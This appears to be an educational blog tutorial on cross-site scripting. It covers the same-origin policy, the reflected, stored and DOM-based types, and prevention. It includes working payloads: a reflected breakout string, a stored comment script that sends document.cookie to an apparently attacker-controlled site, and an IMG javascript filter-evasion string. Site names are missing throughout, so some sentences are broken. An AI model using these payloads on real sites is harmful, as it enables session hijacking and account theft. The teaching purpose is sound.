Cross-site scripting(XSS)

Cross-site scripting(XSS)

What is cross-site scripting?

Cross-site scripting(XSS) is one of the most common and dangerous web vulnerabilities. This injection security attack is ranked 7 in OWASP top 10 vulnerabilities list.

XSS is a vulnerability where an attacker attempts to inject malicious data(for example script) into websites content and that malicious data is delivered to a victim’s browser. In other words, XSS is a way of bypassing the Same Origin Policy(SOP) concept.

What is SOP?

Same origin policy is such a concept which forbids websites to access data from pages with another origin. For example, it forbids another website to edit your social network account page.

So, it is obvious that SOP is one of the most important concepts in web security. For clarity, let’s consider such example: We have two websites and Because of SOP cannot access content from while can access content from since they have the same origin.

Malicious script types used by attackers

In most cases, attackers deliver malicious scripts  in the form of JavaScript segment. There are also other cases in which delivered malicious content includes AJAX, HTML or any other type of code that the is executable by the browser.

Types of Cross-site scripting

Although there are a lot of attacks based on XSS, the most common attack types are session hijacking(hijacking like cookies or other session information) and redirecting the victim to some web content attacker controls. There are three main XSS types, usually targeting users’ browsers: Reflected, Stored and DOM-based XSS.


In this type of attack, the attacker delivers the malicious link to the victim using such social engineering method as phishing emails. Therefore, the attacker’s payload script must be part of the request sent to the web server and reflected back to the HTTP response includes the payload from the HTTP request. After delivery, the victim follows that link and the malicious script gets reflected and executed inside the browser. Although built-in browser XSS filters which almost every browser has nowadays, catch most of such payloads reflected cross-site scripting is the most common XSS vulnerability type.

Attack example

let’s consider such example: in is a special website for testing vulnerabilities.) in search write “hello”. In page, you ‘ll see: You searched for “hello”. As u see the word we searched is reflected on the page. When you open page source, you will see that website handles word you typed in search: $(‘#searchTerm’).val(‘hello’);. But what if in search bar write any script instead of just simple “hello”?

Let’s consider such a scenario. An attacker sends you link like this:”there will be some malicious script” and then you follow it, your authorization cookies will be hijacked(send to somewhere where it is collected and then can be used in malicious purposes.). But how? To understand this let’s in search bar place this script: ‘);$(‘h2’).text(‘hello everyone’);// and click on search. In the page, you’ll get the message “hello everyone”. This simply means that your browser after loading page runs this script and as a result it displays “hello everyone”.


This is the most damaging type of XSS attack. In contrast to reflected XSS in persistent XSS attack websites structure itself contains script. The attacker injects payload (script) which is stored permanently on the application, in a database. For example, an attacker can insert a malicious script on comment field.

Attack Example

Let’s consider such example: in after registration, login and vote for any car. While voting in comment section write this script: location.href=””+encodeURIComponent(document.cookie);. After doing this leave that page and visit again the page of the car you voted. This time you will be redirected to the page of The reason why this happened is that comment (malicious script) which is stored in the database of To ensure this let’s do this: after clicking on the page of the car(before it will redirect you to quickly press ctrl+u(shortcut for source code). Here search for word evilcyberhacker and you will find the comment you made here before.

DOM Based Cross-site scripting

In contrast to previous XSS types DOM Based XSS simply m appears in the Document Object Mode instead of HTML part. In other words, In reflective and stored XSS vulnerability payload can be found in the response page, but in DOM based XSS the malicious script cannot be observed in the response. The only way to see it is investigating the DOM of the page or observe it on runtime.

Preventing Cross-site scripting Vulnerabilities

These are most common ways preventing XSS vulnerabilities:

  1. Always validate untrusted data(have a whitelist i.e. list of allowable input data.)

2. Encode for the right context(look at reflected XSS attack example which happened due to encoding malicious script)

3. Flag cookies as HTTP only , otherwise,an attacker can access cookies  using a script. ( look at stored XSS attack example )

Blacklisting Tip:

Most web builders expect payloads of such type:<script> …</script>. So they blacklist such tags, but attacker can use filter evasion techniques to by pass these security measures. For instance, the attacker can use such script: <IMG SRC=”javascript:alert(‘XSS’);”> ( for more filter evasion scripts visit OWASP filter evasion cheat sheet page)